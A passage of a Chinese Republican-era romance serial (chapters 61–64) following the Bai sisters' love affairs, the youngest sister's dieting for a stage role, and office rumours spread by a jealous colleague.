她平时都是和气浅笑的样子,骤然沉下脸色,倒有一种凛然不可犯的气势,缪昌平也只好讪讪地笑道:“自然自然,那白老师你看什么时候写好,我恭候着就是了。” 敲定了固定的时间,缪昌平扭头便撇了撇嘴,分明是不大满意的样子。但在白瑾璎这边,免去了他时不时的催促打搅,总算找回一点清静,也就不去管他了。 有三个后进班的教学要顾,又有译注这一座小山压在身上,如今连教案都要赶一赶进度,过得不可谓不辛苦。 好比这一天下学后,白瑾璎留在办公室里批改作业,等改完了最后一笔,才发现不知不觉已过去两个钟头,外头已是昏昏暗暗的光景了。她匆匆收拾了东西赶上公车,想不到人太疲累,在车上迷糊了过去,要不是被卖票员的手摇铃声惊醒,险些就要坐过站了。 她心里一惊,下车时又被迎头吹了一阵风,当下便觉得脑袋发沉,像是有人拿了一把小凿子,在里头凿个不停似的。 白瑾璎暗道不妙,从手提包里翻出小镜子瞧一眼,果然脸色是不大好的样子。往常自己有什么小毛小病,白瑾瑜总要跟着犯紧张,如今她正为了白瑾琪大伤脑筋呢,可不要再给她添一桩心事了。 是以伸手在脸颊上轻轻掐了几下,又极力调整了神态,抿出一点微笑,这才转动钥匙进了家门。 正值晚饭的时候,白瑾瑜已在桌边坐定了,却不见白瑾琪的身影。白瑾璎便示意一眼楼上,小声问白瑾瑜道:“怎么了?还闹脾气不成?” 白瑾瑜倒觉得不大像,正好虞妈端来了热汤,向楼上喊了一声:“瑾琪小姐,下来吃饭了。”随后便听见哆哆的脚步声,白瑾琪兴冲冲地跑下楼来,跑到桌边时冷不丁对上白瑾瑜的视线,发怵似的瑟缩一下,努着嘴把椅子挪得离她远一些,这才坐下。 白瑾瑜看着她这小样子,实在又是好气又是好笑,也不多说她什么了。 吃饭时又有一点事故。白瑾琪把盛米饭的小碗放到一边,就着碟子吃了点笋片青菜,又吃了两只虾,便搁下筷子,那意思就是吃完了。 白瑾瑜拧了拧眉头,首先想到的是她们刚吵完架,这小东西不要是用绝食表示抗议吧?她是关系僵持着的一方,由她开口,那就有一种逼问的意思,于是和白瑾璎对视一眼后,后者问道:“怎么就吃这么点?白天读书不累吗?可不要拿自己的身体开玩笑。诺,你最爱的鸡汤,我给你舀一碗吧?” 白瑾琪哪里不饿,只是她铁了心要瘦,任凭那逼人的香气直往鼻子里钻,硬是忍住了不看,道:“我就是吃不下,才少吃的,汤就更不能喝了,涨肚。” 听她的口气,也不像是赌气。可这都入秋了,人人恨不得多吃两口贴一贴秋膘,怎么她反倒胃口不好起来? 为防万一,白瑾瑜还是想试一试她的态度,晚上又让虞妈送了碗鸡汤过去,白瑾琪只推说不饿。于是想:老三从来不在吃穿上委屈自己,这样都不吃,那就是真不饿,兴许是在外面吃了零嘴呢,这便不再干涉了。 60-70 第61章 第 61 章 是家里的床睡着不舒服,…… 白瑾琪不吃晚饭的行为, 一下就持续了近一个礼拜,起初推说是吃了零嘴,可天天贪吃零嘴, 那也不大可能。是以干脆每天晚两个钟头回家, 借口说是话剧社延长了排练, 饭也是和大伙一道吃的, 也正好可以错过晚饭时间。 白瑾瑜是怎么看怎么不信, 就怕她做出什么离经叛道的事来,为此特意去清江大学找她的老师打探过几句,知道她还在好好地点卯上课,这才放下一点心来。 至于她要在下课后参加什么话剧排练, 也就睁一只眼闭一只眼, 暂且不再去管她的艺术梦。 反倒是白瑾琪, 起初对自己编的谎话还有些战战兢兢呢,生怕逃不过大姐姐的一双火眼金睛, 可她竟一点没有和自己为难, 这真是想不到的好事!心里松快了, 心情也就跟着好起来, 和白瑾瑜的关系,两人虽没有明着宣布和解, 倒也缓和了许多。 譬如这就有一天, 白瑾琪知道早饭是虞妈拿手的酱油馄饨, 故而一早便饥肠辘辘地等着了, 不想刚下楼,就撞见白瑾瑜开了门从外头回来。吃了一惊问:“咦?你这么早去哪儿了?” 白瑾瑜也带着几分吃惊,看向她时,那柔和的笑意还挂在唇角哩。 “啊呀!你不要是一晚上没有回来吧?昨天晚上虞妈就说你约了朋友吃饭。”她恍然大悟一般, 再看白瑾瑜那一身很愉快柔和的气场,罗曼蒂克的思维更是往外发散了,“你约了哪一个朋友吃饭?不要是姓孟的朋友吧?” 白瑾瑜在自己的事上一向心里有数,倒不是避讳和孟西洲的亲密关系,只是白瑾琪毕竟还在读书的年纪,脑子里全装了那一套浪漫的艺术,那就容易浮想联翩,就怕自己说的多了,对她造成影响。 于是伸了一根指头轻戳了戳她的额头,说:“大人的事,小孩子少打听,我忙起来不见人,不是常有的事吗?要是让你来处理我手上的事务,恐怕你一分钟的空闲都抽不出来呢。” 白瑾琪怪不服气,但虞妈正端了汤碗过来,她被香气勾了魂,硬是调转脚步捧起碗来祭五脏庙了。 嘴巴在吃,耳朵却留心着白瑾瑜,听见虞妈边走去厨房边问她“要不要也来一碗?”,白瑾瑜却说,“不要了,早上刚在酒店吃过面包咖啡,现在倒不饿。” 心道:哎哟哟,是家里的床睡着不舒服,偏要跑到酒店里睡觉吗?还是虞妈的手艺不好,要去吃什么咖啡面包?可见她和孟先生,已经是实质上的爱侣了! 白瑾琪越想越觉得自己猜的很对,同时心里又很羡慕:像白瑾瑜这样的,自己有本领,又有一个体面的男友,不必获得谁的允许,想在外头过夜的时候就可以过夜,那才是真正自由恣意的新式女子呢! 她虽时不时地和白瑾瑜唱反调,可真心里,实在把她当成一个想要效仿的模范来看。 先前只当那位孟先生是在单相思,自己还为先一步和郑家树交往而沾沾自喜呢,想不到她嘴上没承认,实际老早把关系发展得很深远了!这本来没什么可比的,可白瑾琪就是觉得输了一筹似的,噘着嘴喝了勺鲜鲜的馄饨汤,心里痒痒起来。 在学校里见到郑家树时,也忍不住瞅着那一张俊脸陷入沉思。 郑家树一早就发现了,他心里正有事想和白瑾琪说,却又不知如何开口,于是试探着问道:“今天下学早,你有什么活动要去参加吗?” 白瑾琪见他看过来,也就懒懒地移开视线,随手扯了张白纸在手上折纸鹤,说:“活动是没什么活动,不过你要是想请我吃饭,我倒是可以去。唉,真想吃东方大饭店的烤鸭子。” 郑家树见她一副抿着唇回味的样子,先就笑了出来,忍不住逗她道:“东方大饭店,那不成问题。而且那里不光烤鸭子好,楼上的外国套间也很受赞誉,不如也请你去住上一晚?” 这一句话,就浅浅触动了白瑾琪想要尝试一下男女关系的好奇心,她本来手也不灵巧,心思也不在折纸上,手里的纸鹤还没折到一半就给扯开一道大口子,干脆丢开了,说:“你要和我一道住?那也不是不行” 郑家树简直有点不敢相信这一份好运。 世上的男子之于女子,既有喜爱之心,总是带有欲望的,他又怎能免俗?只不过白瑾琪平日里总是傲气十足的样子,要俘获她,料想不大容易,谁能想到她会这么快松口呢? 当下透出惊喜之色,握了白瑾琪的手问:“当真吗?你不要冤我,我一下课,可就去东方饭店订房间了。” 白瑾琪又思忖了片刻,心想,如今既然提倡社交开放,那么女子的自由,就不该低于男子,而要论自由,对自己身体支配的自由,不正是最基本的一项吗?于是下定决心将头点了一点,道:“行,去吧。” 这之后几堂课的时间,对于郑家树而言有多漫长焦灼,这就不必去多说。 好在课总有上完的时候,连下课铃声都显得格外悦耳,直如天上飘下的仙乐似的。郑家树便在这天籁声里抢先冲出教室,在校门口雇了辆人力车,先往东方大饭店去了。 等白瑾琪慢悠悠前来汇合时,他已提前点好了菜,除了白瑾琪点名要吃的烤鸭子,另有两道特色荤菜,大概觉得荤腥太多,又添了一道汤色清亮的上汤白菜,给白瑾琪单独点了一碗杨梅冰,考虑得很是周到。 反倒是白瑾琪笑不出来,她本来已立志了要少吃,因为想要“用一用”郑家树,觉得小小破戒一下也无妨,想不到郑家树把菜点得这样丰盛,且样样都是她爱吃的,这是吃好?还是不吃好? 心里又爱又恨,硬生生克制着肚子里的馋虫,只包了三卷烤鸭子,别的菜各尝了两筷子,才依依不舍地搁下筷子,拿小勺子搅着杨梅碗的碎冰。 没有吃饱,心里就带了火气,怨怼道:姓郑的不要是存心挡我的路,做我艺术之路上的绊脚石吧? 对面的郑家树虽然吃着饭,却时刻留心着白瑾琪的神情,见她此刻面无表情,手里的勺子一下又一下戳着,倒像是负气似的。又是紧张又是关切,问:“怎么了?是饭菜不合口味吗?还是你要反悔?” 白瑾琪见他一脸忧虑,眉头微蹙着,反叫那俊朗里又添上几分委屈可怜,原先忿忿的心情,顿时又满意地飞扬起来。甚至露出了一点笑容,说:“没有,你快点吃。” 这话仿佛带着催促的意思,郑家树细品一遍,只觉满心的期待欢喜,都一股脑冲上了头顶。本来想着慢慢地吃饭谈心,一切往罗曼蒂克的方向去走,这下急转向了热切的一边,三两下吃完了饭,便带着白瑾琪往楼上的外国套间而去。 事毕,郑家树珍爱地将白瑾琪半搂着。 他此刻满心的缱绻,看向白瑾琪的目光里溢满了爱意,只觉得她是这世上最美好的女子。相反白瑾琪可不觉得多么舒坦,身上的酸痛就不去说了,回想刚才的经历,又觉得郑家树不得要领笨手笨脚,指不定身上已经被他掐出了红印子! 怎么大姐姐就是高高兴兴的?这种叫人浑身难受的事,也能笑得出来?不要是自己想差了,她确实是有别的好事才耽搁了一晚不回家的吧? 白瑾琪一声不吭地思忖着,郑家树却会错了意,又贴上来,将吻落在她的肩头,咕哝着问:“怎么不说话?我知道了,是不是你害羞,不好意思和我说话?让我看看你——” 白瑾琪本来舒服地靠在软枕上,硬是被他拨过脸去,正是一肚子的不满意,可刚刚完事儿就挑他的毛病,似乎又不大厚道,于是随口问了句:“对了,你说去问你姑姑的门路,可有什么回音?” 郑家树这才被点醒一般,顿时想起了正事。 他本来就是要和白瑾琪说这件事的,哪想到她半路打岔,送了他好大一份惊喜,什么正事琐事,统统都给抛到九霄云外去了! 关于演艺界的门路,他其实还没来得及去问姑姑,不过略略和家里的父母提了两句,说自己交的女友,很有这方面的志向。想不到自己的母亲是很反对的,说:“你要是单单交女朋友,那我不管,不过你要找一个女演员做妻子,那我是不能同意的。你看看那些女明星呀,漫天的花边新闻不说,为着拍戏的缘故,随便就能和男演员抱在一起,简直是胡来!” 竟是很激烈很坚决的口气。 郑家树本来不做多想,只觉得可能要再等一等,等他母亲把这事儿忘得差不多了自己再去问,这就不容易联想到一起去。 然此一时彼一时,他此刻怀里抱着白瑾琪,像抱着一份宝物似的,心里涨满了柔情,竟前所未有地生出一种长长久久的心思。这样灵动可爱的小人,我娶了她做妻子,不很美好吗? 可设若将白瑾琪摆在妻子的位置,便没有两全的办法,为了减少母亲的阻力,那就不能够让她去演戏。 于是抚着白瑾琪的肩膀,歉意道:“对不住,我问了姑姑,可惜没能够成功。”又怕她生气,两手搂了她不松开,吻也一下一下落在她的头顶。 要说一点没有失望,那是不可能的,只是郑家树本来也说了不能够打保票,自己也没有道理凭白责怪他。便说:“算了,我再想想其他法子就是。” 郑家树脸上浮现出为难的神色,踟躇着开口:“在演艺界里谋出路,实在是很辛苦的事,何况又有运气的成分在。许多人,四处奔波地演了十来年,都未必能够出名。瑾琪,你就非要当女演员不可吗?” 白瑾琪奇怪地瞥他一眼,问:“你平时不也夸我演得好,今天怎么净灭我的士气,替我打起退堂鼓来?”说着,望一眼墙上的挂钟,指针已快要走向七点了。 白瑾琪顿时“啊呀”一声跳将起来,使劲拆开郑家树抱着她的胳膊,抓过衣服就往身上套。 郑家树见她要走,只当她是气自己倒戈,当下再也不敢提不做演员的事,急道:“瑾琪,你生气了吗?这套间可以睡一整晚,何必急着要走?” 白瑾琪想的却是:大姐姐是家里的话事人,她在外头过夜没人敢说什么,我要是敢在外过夜,她非得把我的腿打折了不可!不行不行,这一番尝试,还是保密为宜,可不能叫家里两个姐姐知道哩! 第62章 第 62 章 我倒是想买不那样贵重的…… 要说白瑾琪猜得对不对, 虽然不中,亦不远矣。至少白瑾瑜约会的对手方,是完全正确的。 孟西洲约了白瑾瑜晚上谈事, 在他这里, 当然是存了拖延时间把人留下的心思;可白瑾瑜也是很聪明通透的人物, 又不受旧规矩的约束, 也就顺水推舟地留宿下来。只是她自以为心照不宣, 可到了晚上,孟西洲再三地吻过她后,竟然只是抱着她同床而眠,并没有真做点什么。 这就叫人不解, 他想还是不想, 光是从那烫热的手心, 就可以感受到一二,何况自己也并没有表示着反对呀? 这疑惑留续到第二天早上, 白瑾瑜对着镜子佩戴耳环的时候, 忍不住想透过镜子, 悄悄窥看孟西洲的神色。 孟西洲正站在床边系着衬衣的纽扣, 只是他站的位置,镜子并照不到。于是伸了手, 将那面可活动的梳妆台的圆镜, 微微转过一点角度, 将他映照进去, 可冷不丁对方一抬头,彼此的视线就在那镜中相会了。 孟西洲并不将视线挪开,对着镜子微笑一下,问:“你想看我, 怎么不光明正大地看?你看我,我还有不高兴的吗?” 自己的小把戏被发现了,白瑾瑜干脆也不欲盖弥彰,并不将镜子的角度转回,留着它做一个眼神交汇的媒介,抿着微笑,兀自专注于耳垂上的小配饰,说:“反正我也看不明白你。好吧,那我不看了吧。” 言下之意,刚过完夜的彼此再清楚不过了。 孟西洲闷笑一声,主动坦白道:“我实在出于一份好心,宁愿自己忍得辛苦一点,也想让你先习惯有人睡在身边是什么情境,可怜我一整夜有一半时间受着煎熬,某位小姐却并不领我的情。” 白瑾瑜想不到是因为这一个缘由,心口一跳,极为难得地,竟感受到一丝羞赧。她垂了眸子不去看镜子里的目光,嘴上却说:“这你就不知道了,我念中学的时候,一周有一半的日子都是和瑾璎一起睡的——” 这句话,不啻于是一句挑衅呀! 孟西洲忍不住笑了一声,“好哇,原来是我白操了一份心。好极了,我看现在也还早,不如就把昨晚未尽之事,再做一遍吧。”说着,已经迈着步子走到白瑾瑜的身后,伸手抚上她纤长的脖颈。 白瑾瑜笑着躲了一下,刚想伸手把那进犯的大手捉住,想不到孟西洲也只是寻她开心的意思,那手只搭在她的肩膀上,并不再动作。 相反另一只手越过她,拉开了梳妆台右边的一个抽屉,拿出一个海绒面长条形的盒子来。因他正好站在白瑾瑜的身后,手臂往她身前一绕,便将那物件戴到了她脖子上。 由镜子里看去,那是条嵌满了火油钻的项链,越往两边越细巧,往中间则渐大,最正中的位置,则挂了一颗水滴形的火油钻。即便就着大白天的光线看,也熠熠放着光彩,更不要说在灯火通明的宴会上,那要何等的璀璨夺目。 何况这也不是在家里,而是酒店的高级套间,他从这里的梳妆台抽屉里取出来,可见是一早就放好了,只等着送给自己。 白瑾瑜伸手拨弄一下那颗悬荡下来的钻石,对于这样一件厚礼,实在不能不感到吃惊,秀气的眉梢微微一抬,道:“好贵重的礼物,不年不节的,你也不怕吓着我吗?” 孟西洲同样看向镜子,在镜子里摄住那对漂亮的眸子,含了微笑道:“我倒是想买不那样贵重的,一颗火油钻就差不多,只怕更要吓着你了。” 一颗钻石的首饰是什么,那就不必去多说。白瑾瑜怔楞一下,水红色的嘴唇闭阖着,只管抿出微笑,不开口否认,也不承认。 她不说话,孟西洲反倒追问起来。俯身重重吻了吻她的耳朵,末了并不离开,凑在她耳边问:“我要是真送了,你收不收呢?”见白瑾瑜还不回答,便又去吻,干脆以唇吻贴着她再问,“嗯?收还是不收?” 白瑾瑜终于破功似的笑出声来,半转过身,伸手在他肩膀上捶了一下叫停,人却还是安坐在他圈出的这一片小小天地里,说:“真有这样的好事,有人送我钻石,我还有不收的吗?” 那羽扇似的长睫毛覆着漂亮的眸子,躲开孟西洲炽热的视线,向下正看见他靠近领口处没有系好的两颗扣子。 白瑾瑜便伸手替他系了,还没等她开口,倒被孟西洲抢先攥住了手,牵到唇边吻了一下,道:“这可是你说的,我记住了。” 这一次,白瑾瑜到底没有拒绝,只说:“你可不要胡来。”又用力捏了捏他的手,“好了,快帮我把项链收起来,我们下去吃一点东西。” 待他二人在楼下大厅坐定后,便有西崽端来了热咖啡和西式的面包。孟西洲照例替她在咖啡里加上两块方糖,白瑾瑜则给两片面包分别抹上白脱,将其中一片递了过去,实在是很和睦的气氛。 吃了一会儿,白瑾瑜闲谈一般问起了姚宝莲,“那一位小女子,还在不在上课呢?不瞒你说,她私下里找我说你的坏话,我可是把她吓唬了一通。” 自从前次说开后,姚宝莲在他二人之间,也不过是个再普通不过的话头罢了,孟西洲反倒对她话里的另一层意思很感到趣味,眼中含着笑意望了她一眼,道:“这么说,你是很护着我的,这就叫人欣慰。” 呷了一口咖啡,又说,“不过贾秘书前两天刚和我汇报过,他遣人去拿成绩单的时候,原先的屋子大门紧闭,显然是不住人了,又去教会学校一问,也说姚宝莲已连续缺课两周。我看,她是彻底不去上课了。” 白瑾瑜“咦”了一声,“这不能够吧?我看她胆子不小,不能被我两句话就唬住了。” ——这两句话,也就能唬住姚宝莲一时而已,等提心吊胆上几天,也就回过味来了。只是她在学问上从不求上进,既然不能从孟白二人那里拿到现成的好处,混到毕业了又有什么用? 恰好这时候,黄老板又来递话:婚是没有离成功,不过他人要前往重庆做生意,只问姚宝莲跟不跟他一道去,当一个姨太太。至于未来回不回江西,回去了又是如何应对母老虎,那就再说。 就眼下的情形,姚宝莲已失掉全部退路,思来想去,竟没有比跟了黄老板更得益的出路了。于是也不管学上到一半,带了老娘,一路跟去了重庆。 这些事也不难打听,孟西洲便三言两语说了她的去向。他自己没甚所谓,反倒是白瑾瑜很有些恨铁不成钢的意思,叹气道:“好糊涂,我要是她,非得把书念完了不可。这还不够,先攒一点钱,还得想法子再往上念一念。” 孟西洲向她望一眼,打趣道:“以你这样的上进心,我看,一路资助到你出国去留洋,也不嫌多。” 白瑾瑜原本正搅动着咖啡,听他这样说,忽而想到什么有趣的点子似的,略歪着头问:“哦?设若我是受你资助的女学生,你真愿意送我出国留洋吗?” 孟西洲微笑着做沉吟的样子,拿指头敲着桌面,算道:“出国留洋,这代价可不小。何况把你送出去了,天高皇帝远,你还会不会回来呢?设若不回来,我的投入,不就打了水漂吗?” 抬起幽深的眸子,将白瑾瑜望着,“这不行。不过若事先说好,定一个婚约,那就不碍事,只要未婚妻高兴,我是不计投入的成本的。再来,有婚约作保,也不怕你不回来。” 白瑾瑜简直有些好笑,“这是什么话?本来资助别人,就是一种慈善的事业,你怎么样样求回报?再说,你要真资助别人去留洋,难道个个要和你订婚约吗?” 孟西洲扬了扬眉头,状似可惜道:“别人是别人,你是你,可不能混作一谈。这是单开给你的条件,你不答应吗?那就是谈不拢了。”笑了一下,“那就把预备给你留洋的钱,多资助几个人学算术写字好了,里头也算有你一份功德了。” 两人对视一眼,都忍不住笑作一团。 姚宝莲虽跑去重庆奔前程去了,他二人却从这番对话里得到一点启发,计划在教会学堂设立一笔奖励金,帮助真想要求学的人,能敲开知识的大门。 用过了早饭,孟西洲开车送白瑾瑜回椿樟街,下车时恰好碰上隔壁的余佰出门上班。他一见到白瑾瑜,一对眼睛便放出光来,兴奋道:“密斯白,才回来啊?是不是看了一晚上跳舞?我说嘛,你小姐这样时髦的人物,夜生活一定精彩——” 话没有说完,又看见孟西洲由驾驶座里出来,直吓得“哎哟”了一声。直到孟西洲冲他点一点头,才讪笑着道了两声“幸会”,又赶紧加一句“再会”,脚底抹油地开溜了。 他刚对白瑾瑜献一回殷勤,结果就撞上了人家的男友,可不得心虚吗?只是他这边白白惶恐着,孟西洲却并不把他视作“情敌”。 白瑾瑜喜欢什么样的人,他可太清楚了,是以一看余佰话多跳脱,也知道白瑾瑜大约当他是个凑趣的乐子,还说:“有个邻居给你逗趣,我倒不怕你平时无聊了。” 第63章 第 63 章 这世道还是当女子好,处…… 再说白瑾璎, 自从上次回家时被风吹得头疼,尽管当下将那不适给掩饰了过去,可第二天一早, 便发起了低烧。 好在这一天统共只有一堂课, 白瑾璎给吴老师挂去一个电话, 和他商量着换课, 事情也就解决了。只是有两本教材和备课用的教案本, 非得跑一趟学校拿回来不可。 放在平时,白瑾瑜是责无旁贷的,偏偏这天就是抽不开身。想来想去,再不情愿, 也只好给蒋牧城挂了电话, 将人托付过去。 蒋牧城如今稳坐着海关二把手的位置, 除非有很要紧的会晤,去不去点卯, 全凭他自己高兴而已, 何况白瑾璎又生了病, 他绝没有不来的道理。待将车停到了36号门前, 白瑾璎矮身坐进副手座时,下意识便伸出手想要探一探她额头的温度。 白瑾璎却没有留意, 一坐定便扭头冲他笑了一笑, 用一双剔透无辜的眸子将他望着。 蒋牧城看她面色苍白, 先就生出满心的怜惜, 再看她略带不解的神态,实在有一种小动物似的纯洁。自己在这种时候动手动脚,反倒有趁人之危的嫌疑,愈发可恶了。 于是那手便只是越过她, 拉上了车窗上的漏雪纱的帘子,便很稳地将洋车发动起来。 拿几本书的事,不必大张旗鼓地出动两个人,于是在第三中学的校门外停车后,蒋牧城便坐在车里等着,由白瑾璎自己去到办公室。只是这样一来一回的距离,偏偏就碰上了程佩生。毋宁说,是程佩生在蹲守着她哩。 上回见到蒋牧城来接人后,只一个对视,程佩生便认定了他是一个“劲敌”,事后越想越觉得心烦意乱,势必要找白瑾璎打探清楚才好。 是以问候过她的病情,便将话头引到了蒋牧城的身上,佯装不经意地道:“我知道你是很注重隐私的人,对外不大谈私事,但你的保密工作也做的太好,那天开车来接你的先生——”他带着俏皮意味地眨了下眼,“我快要给你们道恭喜了吗?还是我这一声恭喜,其实已经晚了呢?” 他看向白瑾璎一双纤白的手,上头倒是没有戴戒指,不过也不是没有为了书写方便的缘故才不戴之可能。 只是没有想到,他不过调侃一句,白瑾璎的脸却肉眼可见地红起来,在那缺乏气色的白皮肤上,更显得像沁着血似的。白瑾璎自己也搞不懂,怎么前有徐百富后有程佩生,但凡有人开自己和蒋牧城的玩笑,她的反应就是这样的大? 可他们毕竟不是不能别人抱了开玩笑的心,自己就真的一笑置之。 是以极力地按下乱得不成章法的心跳,正了脸色道:“不要瞎说,为着彼此家里交情很深的缘故,他才格外的关照我,我们不是——”白瑾璎咬了咬下唇,“这样胡猜的话,不要再说了,对他对我,都很不好。” 分明将事情澄清了,心里又无端觉得空落落的。 反倒是程佩生松了口气,笑了笑说:“好,是我胡猜,还猜错了。白老师快拿了东西,回去好好休息吧。” 白瑾璎断然否认和那先生有婚姻的关系,这当然给了他一分希望,只是程佩生也没有全然地放松。看白瑾璎刚才的神色,若说是羞愤,那显然也是羞更多于愤,她对于那位先生,未必是全无情谊的,自己要怎样使一位女子的心意发生转移,那又是一道难题。 这样一想,复又叹了口气,摇着头回去了办公室。 另一边,蒋牧城将车停靠在校门外,也不是无事发生的。实际上,他的车一停下,便赶上缪昌平由教室里出来,在三楼的走廊上向外一望,第一眼便看见了这亮堂气派的林肯牌汽车。 同样是走在大街上,若说女子的目光容易被珠宝华服之流的漂亮物件所吸引,那么吸引男子目光的,无疑是一辆好轿车了。 自己什么时候也能买一部洋车过把瘾呢?林肯牌的洋车必然是买不起的,那就买最普通的牌子,价格虽然也是不菲,可开出去,多么有面子! 缪昌平正想得入神,那边林肯车的车门一开,想不到竟是白老师迈了出来。她下了车,却并不马上就走,而是回过头和车里的人依依惜别似的,片刻后才往学校里来。 缪昌平满心的艳羡顿时化作不满,由鼻子里讥讽地哼了一声,心道:这世道还是当女子好,处处可以受到优待,不光公车上写了礼让妇女,上电影院上餐厅,同样要以女子为优先,不然就显得你不是个绅士,听闻那些轮船或是飞机一旦失事,连逃生的机会,也是要先让给妇女儿童的! 这还是寻常的女子,设若有美貌,那更加了不得了!不光能享受优待,随便勾一勾指头,那简直有数不尽的男子愿意奉上钱财和好处! 缪昌平心里泛着酸,可恨那些便利与好处不是给自己的,还自觉受到了社会的亏待呢!他忿忿不平地往教室办公室走,刚过一个拐角,差点吓了一跳,由林肯车里下来的白老师正站在办公室外,和新来的教务秘书讲话哩! 这两个人,可都是他的眼中钉。白瑾璎就不必说了,一次期中考试,就差把自己踩到地下去了;那个程佩生呢,话里话外都是偏帮着白老师的意思,他也都记着呢。 是以缪昌平并不现身,而是远远地看着那边的情形。他站得远,并听不见两人的谈话,只看见程□□说了句什么,白老师的脸即刻便红了,滴血也似。他便像嗅到了隐秘的香油味的老鼠,整个大脑都兴奋起来。 那边白瑾璎很快就走了,缪昌平却对那场面久久的不忘,认为那里头大有文章可做。 下午跑了一趟教务处,果然叫他发现了一点端倪——那姓程的教务秘书桌上放了几张相片,除去家人或教育处领导的留影,其中有一张,似乎是和同窗好友的大合影,里头的男女,都还很有学生气。 缪昌平仔细瞧了一眼,果真在里头找到了程佩生,再定睛一看,站在程佩生旁边的女子,怎的就和白老师长得这样像? 他心里本就惊骇,偏偏身后传来一道声音问:“缪老师这是在做什么?”吓得他险些惊叫出声!回头一看正是程佩生,因自己在偷看人家的私人物件,先就有些讪讪的,释放出友好的微笑道:“别误会,别误会,我是无意间在相片上看见了程□□读书时的样子,感到很稀奇。” 相片摆在桌上,总不能阻止人家去看,如若是禁止去看的,又何必摆出来?程佩生便没有多说什么。 缪昌平见他脸色还好,这便转起了脑筋,试探道:“不过我倒不晓得,您和咱们白老师,还是老熟人呀?看那相片里站在您旁边的,不就是白老师吗?怪道白老师的教学水平这样高,原来和您是师出同门哩。” 他先说上一筐白瑾璎的好话,让程佩生听舒坦了,多少也能卸下对自己的防备心。 程佩生倒并不遮掩,自己和白瑾璎毕业于京师大学的事,本来也无需当做秘密,便说:“老熟人谈不上,她是我一位学妹,从前读书的时候,成绩就是数一数二的好,实在是一个人才。” “是,是。”缪昌平听着这句“人才”便觉得火大,偏偏脸上还得挤出笑脸来,“我看您对她,是很照顾的样子,我想不光为着白老师是一个人才,这份一道求学读书的情谊,也是很深厚的呀。” 说话的同时,不忘密切留意着程佩生的神情,见他有一瞬间的失神,这就无异于是一针振奋剂了!心想,这姓程的对姓白的要是没点意思,我缪昌平的名字便倒过来写! 但光是这样还不够,于是再接再厉地又说一句:“要我说,我看那相片上你二人站在一起,真是很登对的样子。我一个教洋文的,免不了西方罗曼蒂克那一套,程□□,不要是保守了什么恋爱上的秘密吧?敝校对于教师间的爱情,那是不禁止的。” 这同样是在臆测关系了,程佩生下意识便想到了白瑾璎对此的态度,当下正色道:“胡说八道,什么秘密不秘密,这是子虚乌有的事!” 缪昌平见他语气很重,也就不再冒进,顺着他的话道:“当然是胡说,罗曼蒂克可不就是胡说么,程□□千万不要同我计较。” 程佩生抿着嘴唇望着他,点一点头,意思这件事便算是过去了。可余光里瞥见那一张相片,白瑾璎婷婷地站在自己身旁,他记得很清楚,是那时的学生会长陶伯谦开了一句小玩笑,这才把白瑾璎调了过来。 于是微蹙着眉头,心里一会儿是来接白瑾璎下课的挺拔男子,一会儿是那张站位亲密的相片,生硬地问了一句:“我和白老师,当真瞧着很登对吗?” 缪昌平简直是心花怒放了,咬着牙才算没有笑出声来,向程佩生拱了拱手道:“男才女貌,您就往后看着吧。”退出了教务处。 他二人各怀心思。在缪昌平,当然要放一点爱情的谣言出来,设若程白二人真成了眷属,他乐得在程佩生那里讨一个人情;设若白瑾璎跟了那林肯车的主人(那洋车接来送去,少说也有两三回了),那也是她嫌贫爱富,关他缪昌平什么事? 而在程佩生呢,他想争一争白瑾璎,唯一可以倚仗的优势,无非就是两人同在一处工作,相处的时间略多一点罢了。且女子是很容易被言语所打动的,在这环境之下,设若有更多同僚的声援,自己的分量,会不会更重一点呢? 是以,这一段谣言的愈演愈烈,也就可以想见了。 第64章 第 64 章 瑾琪,你这是还在恨着妈…… 再说白瑾琪, 自从与郑家树有过亲密的行动后,总觉得对方的态度发生了转变。在社团排练时总是粘着她不说,对于人前表现出与她亲近的一面, 也愈发不再避讳, 反倒让白瑾琪不大耐烦起来。 在此期间, 出于一种对刺激的追求, 亦或是新鲜感尚未过去, 倒是又和郑家树有过几次单独的幽会,和第一次相比可谓是云泥之别。白瑾琪很是满意,觉得艺术作品里那一种隐晦的关于极乐的表达,倒也不全是骗人。 不过一想到头上有白瑾瑜这座大山压着, 即便拿戏剧社排练当借口, 也不能逗留得太晚, 到底不敢太过放肆,和郑家树的秘密行动, 不过只在两三回罢了。 白瑾琪有更要紧的事——学期末的大戏, 她又当选了女三号的角色。 既然是学期末的演出, 对于四年级的学生而言, 那就是毕业前的最后一出戏了,是以男女主人公的人选, 势必要由四年级的学生来担任。郑家树正是四年级, 自然是当之无愧的男主角, 女主角则挑选了另一位准毕业生。 白瑾琪对于自己的角色倒很满意, 再说她之所以能拿下这一角色,还要归功于最近的节食哩!她在新的剧目里有许多舞蹈的戏份,试演时踮着脚在舞台上转一圈,飘开的长裙子衬着一把细细的腰肢, 实在是漂亮。 虽说在演艺的道路上还没等来什么机遇,但就眼前来看,能抓住毕业演出的机会,也算是积累经验了。 于是大伙儿一道约了吃午饭时,白瑾琪也高高兴兴地凑了一脚。席间正有人说到一位女星突然宣布息影的新闻,一女同学道:“我很闹不明白,她在上一部电影里表现很好,又是崭露头角的新秀,怎么就不演了?真可惜。” 对面的男同学笑道:“这有什么不明白的,女明星突然息影,无非就是结婚去了,要么就是怀孕了,以此要挟和男方结婚。你想,一部接一部的电影,总有你拍的,可攀上权贵富豪的机会,可不是常有的。” 另一个男学生也附和道:“是了,是了。若不是找了个有钱有势的,确保自己下半辈子不愁吃穿,又怎会息影呢?反过来想,设若结婚之后还演着情情爱爱的电影,丈夫又是有头有脸的人物,如何能够忍受?必然只有息影一途了。” 在众人说话的时候,白瑾琪总是一副不大赞同的神态。 郑家树偷偷觑了她一眼,意有所指地委婉道:“话不是这样说,好像女明星总是攀龙附凤似的。不过结婚之后总得顾着家里,这就分掉许多精力,再要兼顾演戏,那就太辛苦了。找个值得托付的人回归家庭,不失为是一种理想的生活呀。” 他这样说,当下就有女同学夸他讲话公道又体贴,还有一个直说道:“要我说,郑学长往后也是个值得托付的人哩!” 郑家树对此倒没什么表示,只拿目光追随着白瑾琪,看她虽然没有说话,却撇了撇嘴。也不知她有没有将别人夸赞他“值得托付”的话听进去,这一撇嘴,是对他的话表示不赞同呢,还是为了别的女同学夸他,而感到吃味呢 白瑾琪当然是不赞同,甚至觉得那女明星真是犯傻,放着万众瞩目的机会不要,回归什么家庭!哪怕再打拼两年呢?名气高了,一样是找有钱人结婚,也能找名声威望与自己更匹配的有钱人不是? 